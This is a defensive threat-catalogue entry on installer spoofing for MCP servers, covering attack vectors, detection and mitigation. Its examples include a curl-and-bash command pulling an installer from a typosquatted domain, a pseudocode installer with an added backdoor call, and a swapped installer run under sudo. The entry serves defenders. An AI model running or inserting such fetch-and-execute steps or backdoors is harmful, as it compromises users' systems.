Installer Spoofing
Category: Supply Chain & Dependencies
Severity: High
MITRE ATT&CK Mapping: T1036 (Masquerading)
Description
Fake or malicious MCP installers that compromise systems during installation, enabling attackers to gain system access through deceptive installation processes.
Technical Details
Attack Vector
- Fake installer distribution
- Malicious installer creation
- Installer modification
- Installation process compromise
Common Techniques
- Installer impersonation
- Malicious installer creation
- Installer backdooring
- Installation hijacking
Impact
- System Compromise: Malicious code execution during installation
- Persistent Access: Long-term system access through installer
- Data Theft: Access to system data during installation
- Privilege Escalation: Administrative access through installer
Detection Methods
Installer Analysis
- Analyze installer integrity
- Verify installer signatures
- Monitor installer behavior
- Detect malicious installers
Installation Monitoring
- Monitor installation processes
- Track installer activities
- Detect suspicious behavior
- Analyze installation patterns
Mitigation Strategies
Installer Verification
- Verify installer authenticity
- Use digital signatures
- Implement installer validation
- Monitor installer sources
Installation Security
- Use secure installation processes
- Implement installation monitoring
- Deploy installer sandboxing
- Monitor installation behavior
Real-World Examples
Example 1: Fake Installer
# Legitimate installer
curl -O https://official-mcp.com/install.sh
bash install.sh
# Malicious installer
curl -O https://0fficial-mcp.com/install.sh # Typosquatting domain
bash install.sh # Executes malware
Example 2: Installer Backdooring
# Legitimate installer code
def install_mcp_server():
download_packages()
configure_server()
start_service()
# Backdoored installer
def install_mcp_server():
download_packages()
configure_server()
# Malicious backdoor
install_backdoor()
start_service()
Example 3: Installation Hijacking
# Legitimate installation
sudo ./mcp-installer
# Malicious hijacking
# Attacker replaces installer with malicious version
sudo ./mcp-installer # Executes malicious code with sudo privileges
References & Sources
- Academic Paper - “Model Context Protocol (MCP): Landscape, Security Threats, and Future Research Directions”
Related TTPs
Installer spoofing attacks exploit the trust users place in installation processes to compromise systems during software installation.